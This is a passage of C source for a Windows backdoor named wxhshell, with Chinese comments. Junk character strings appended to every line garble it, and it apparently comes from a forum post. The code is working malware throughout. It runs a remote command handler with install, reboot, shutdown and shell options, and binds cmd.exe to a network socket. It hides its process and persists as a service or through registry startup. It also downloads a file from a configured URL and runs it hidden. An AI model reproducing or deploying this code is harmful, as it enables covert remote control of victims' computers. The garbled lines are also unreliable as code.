  // 帮助 R/hI XO  
  case '?': { +X=*>^G(-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JXB)'d0  
    break; ,|]J aZq  
  } cV+?j}"*+  
  // 安装 vgwpuRL5b  
  case 'i': { ?_NKyiu95  
    if(Install()) 1F@j?)(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yajdRU  
    else &xnQLz:#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  /|0-O''  
    break; =>$)F 4LW  
    } ]q]xU,  
  // 卸载 ;+9OzF ;  
  case 'r': { IO\4dU)  
    if(Uninstall()) ^m qEKy<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _?tpO61g>  
    else f>N DtG.6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `z&#|0O  
    break; xlI =)ak{  
    } ^D+J k8  
  // 显示 wxhshell 所在路径 &`r/+B_W  
  case 'p': { jf9+H!?^N  
    char svExeFile[MAX_PATH]; 0,%{r.\S  
    strcpy(svExeFile,"\n\r"); P%3pM*.  
      strcat(svExeFile,ExeFile); -YA,Stc-  
        send(wsh,svExeFile,strlen(svExeFile),0); 6mM9p)"$  
    break; ?KC(WaGJQ  
    } 6Tl6A>%s  
  // 重启 `b?uQ\#-M  
  case 'b': { ^hIdmTf6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zy}tZRG  
    if(Boot(REBOOT)) '~[8>Q>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !}&|a~U@`k  
    else { ^tB 1Nu %  
    closesocket(wsh); a1Fx|#! mq  
    ExitThread(0); ^CkMk 1  
    } 6nx\|F  
    break; :`bC3Mr  
    } owAO&"C  
  // 关机 H [=\_X1o(  
  case 'd': { D-gH_ff<]9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kj4/fB  
    if(Boot(SHUTDOWN)) <Ky-3:pxeM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *8}b&4O~  
    else { \x<8   
    closesocket(wsh); 1QoW/X'>.  
    ExitThread(0); S=UuEmU5N  
    } ]eL# bJ  
    break; o@:"3s  
    } tB_le>rhl  
  // 获取shell ?cV,lak  
  case 's': { mQ[$U  
    CmdShell(wsh); t>j_C{X1(  
    closesocket(wsh); SDnl^a  
    ExitThread(0); 1NZ"\9=U  
    break; `^M]|7  
  } =?i?-6M  
  // 退出 8!_jZf8  
  case 'x': { =*\s`ox`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t~Q 9} +  
    CloseIt(wsh); Bkcwl  
    break; D!j/a!MaKk  
    } ,.,8-In^  
  // 离开 o@meogkL  
  case 'q': { ]J7qsMw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e(c\U}&  
    closesocket(wsh); bZu'5+(@  
    WSACleanup(); 5!c/J:z  
    exit(1); }lZEdF9GhG  
    break; CoN[Yf3\  
        } FYAEM!dyy  
  } (J:+'u  
  } AWO)]rM  
i ;FKnK  
  // 提示信息 B,>02EZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8_Oeui(i  
} U8_{MY-9}  
  } J)|3jbX"I]  
@*;x1A-]V  
  return; >AJ/!{jD*  
} <8r"QJY/  
{##G.n\~  
// shell模块句柄 +=tdgw/  
int CmdShell(SOCKET sock) ghQ B  
{ 2yN!yIPR  
STARTUPINFO si; -&/?&{Q0  
ZeroMemory(&si,sizeof(si)); Iiy5;:CX:q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &;PxDlY5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f:;-ZkIU ?  
PROCESS_INFORMATION ProcessInfo; >y%H2][  
char cmdline[]="cmd"; vs@d)$N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t{k:H4  
  return 0; `z!AjAT-G  
} dSDZMB sd  
N/ a4Gl(  
// 自身启动模式 +t!]nE #  
int StartFromService(void) 4.9qB  
{ Qz(D1>5I?  
typedef struct v({O*OR  
{ -]3K#M)s  
  DWORD ExitStatus; /~LE1^1&U  
  DWORD PebBaseAddress; ,np=m17  
  DWORD AffinityMask; Ww<Y]H$xZ<  
  DWORD BasePriority; J=A)]YE  
  ULONG UniqueProcessId; 0]d;)_`@  
  ULONG InheritedFromUniqueProcessId; 9o@3$  
}   PROCESS_BASIC_INFORMATION; ]E9iaq6Z  
J*@pM  
PROCNTQSIP NtQueryInformationProcess; wNa5qp 0  
{;$oC4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C[FHqo9M?H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d9{lj(2P  
6[m~xegG  
  HANDLE             hProcess; 1W|jC   
  PROCESS_BASIC_INFORMATION pbi; A mZXUb  
GcO2oq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N{Sp-J>  
  if(NULL == hInst ) return 0; 80nEQT y  
TQR5V\{&%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yP58H{hQM8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rPk|2l,E,3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c>bns/f  
k_pv6YrE  
  if (!NtQueryInformationProcess) return 0; n|5\Q  
%A zy#m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "uH>S+%|b  
  if(!hProcess) return 0; l b(  
I%d=c0>%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n/9afIN  
KjGu !B  
  CloseHandle(hProcess); >a8iY|QY  
ItVN,sVJb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~&Z>fgOTJ  
if(hProcess==NULL) return 0; c7mKE`  
0U=wGI O  
HMODULE hMod; :jTSO d[r  
char procName[255]; hQ#e;1uD  
unsigned long cbNeeded; 3?o4  
_=g&^_ #t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GDLw_usV  
5>}$]d/o  
  CloseHandle(hProcess); TFXBN.?9T  
7(@xk_Pl  
if(strstr(procName,"services")) return 1; // 以服务启动 CX]1I|T5  
dN2JOyS  
  return 0; // 注册表启动 [t4v/vQT  
} Lx,=Up.  
;!<}oZp{  
// 主模块 4*EMd!E=<  
int StartWxhshell(LPSTR lpCmdLine) wfo,r 7  
{ 0B.Gt&O al  
  SOCKET wsl; vF^d40gV  
BOOL val=TRUE; =MNp;  
  int port=0; -6[DQB  
  struct sockaddr_in door; R4p Pt  
<-I69`  
  if(wscfg.ws_autoins) Install(); 0pE >O7  
J&8KIOz14Z  
port=atoi(lpCmdLine); m?w_ ]  
f|{iW E2d  
if(port<=0) port=wscfg.ws_port; w/|&N>ZOx  
7 $y;-[E[  
  WSADATA data; ]BO:*&O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v@qP &4Sp  
 9q"kM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f~VlCdf+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ` aVp#  
  door.sin_family = AF_INET; C]!2   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >9H^r\  
  door.sin_port = htons(port); :[CV_ME.;  
sF{~7IB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C hF~  
closesocket(wsl); G*9(O:  
return 1; [xqV`(vM  
} ?X@!jB,Pv  
bWTf P8gT  
  if(listen(wsl,2) == INVALID_SOCKET) { w;lpJ B\  
closesocket(wsl); w<(ubR %$  
return 1; ZDW9H6ux  
} .\ Ijq!  
  Wxhshell(wsl); Yc[umn^K  
  WSACleanup(); wtS*-;W  
Z|t=t"6"  
return 0; JLu$1A@ '  
afrF%!  
} R /=rNUe  
Mq\=pxC@  
// 以NT服务方式启动 81Z;hO"~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R,3cJ Y_%  
{ rI>x'0Go*  
DWORD   status = 0; t'U=K>7  
  DWORD   specificError = 0xfffffff; -`faXFW'  
av'm$I|O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :9hGL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PK+sGV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AQ)gj$ m3  
  serviceStatus.dwWin32ExitCode     = 0; gWr7^u&q@|  
  serviceStatus.dwServiceSpecificExitCode = 0; Ksx-Y"  
  serviceStatus.dwCheckPoint       = 0;  W9?* ~!  
  serviceStatus.dwWaitHint       = 0; cC-8.2  
\B#tB?rA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bB$f=W!m%  
  if (hServiceStatusHandle==0) return; TsFhrtnx&X  
]^ R':YE  
status = GetLastError();  ;+~5XLk  
  if (status!=NO_ERROR) }PI:O%N;  
{ ':n`0+Eh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; it}h8:^<  
    serviceStatus.dwCheckPoint       = 0; !FgZI4?/Y=  
    serviceStatus.dwWaitHint       = 0; cy^=!EfA  
    serviceStatus.dwWin32ExitCode     = status; ek&~A0k_o  
    serviceStatus.dwServiceSpecificExitCode = specificError; *q6XK_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uZl d9u  
    return; PaKa bPY  
  } Pxl,"  
3H,x4L5j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lrE"phYk  
  serviceStatus.dwCheckPoint       = 0; RL}?.'!  
  serviceStatus.dwWaitHint       = 0; h~#iGs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IP`lx  
} nL?P/ \  
A}lxJ5h0  
// 处理NT服务事件,比如:启动、停止 Y#@D% a8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dqB,i9--  
{ 5qM$ahN3wH  
switch(fdwControl) Z'i@;^=A  
{ @1o X&#  
case SERVICE_CONTROL_STOP: myj/93p}`b  
  serviceStatus.dwWin32ExitCode = 0; {YiMd oMhg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^;F/^ _  
  serviceStatus.dwCheckPoint   = 0; JL,Y9G*]s  
  serviceStatus.dwWaitHint     = 0; ^t3>Z|DiB^  
  { 1i#y>fUj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>AwG4HW#j  
  } J?V$V >d  
  return; @K <Onh`  
case SERVICE_CONTROL_PAUSE: 6'r;6T *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7I ~O| Mw  
  break; f(y+1  
case SERVICE_CONTROL_CONTINUE: 0f5 ag&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WHx #;  
  break; I3>8B  
case SERVICE_CONTROL_INTERROGATE: 5ih>x3S1/  
  break; rfonM~3?'  
}; 6 ZRc|ZQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wnC-~&+6  
} :Fhk$?/r  
,6]ID1o:y  
// 标准应用程序主函数 &vmk!wAs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IN/$b^Um  
{ (EcP'F*;;y  
Tbm ~@k(C  
// 获取操作系统版本 >\K=)/W2  
OsIsNt=GetOsVer(); M.Q HE2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bqH [-mu6  
{- I+  
  // 从命令行安装 #)}BY"C%  
  if(strpbrk(lpCmdLine,"iI")) Install(); BP j?l  
koT3~FK  
  // 下载执行文件 5 Y&`ZJ  
if(wscfg.ws_downexe) { N?m)u,6-l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f&$Bjq  
  WinExec(wscfg.ws_filenam,SW_HIDE); B{\Y~>]Pj  
} E"*E[>  
%( OP  [  
if(!OsIsNt) { 2W0nA t  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?8$`GyjS  
HideProc(); +F NGRL  
StartWxhshell(lpCmdLine); 3F"vK  
} ZN H-0mk  
else 346 z`5  
  if(StartFromService()) I+Fy)=DO9  
  // 以服务方式启动 {3KY:%6qj  
  StartServiceCtrlDispatcher(DispatchTable); g<;pyvq|:  
else  pF6u3]  
  // 普通方式启动 ]+`K\G ^X  
  StartWxhshell(lpCmdLine); mKtMI!FR  
k-&<_ghT \  
return 0; 9Pg6,[*u  
}
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只看该作者 1 发表于: 2006-10-10
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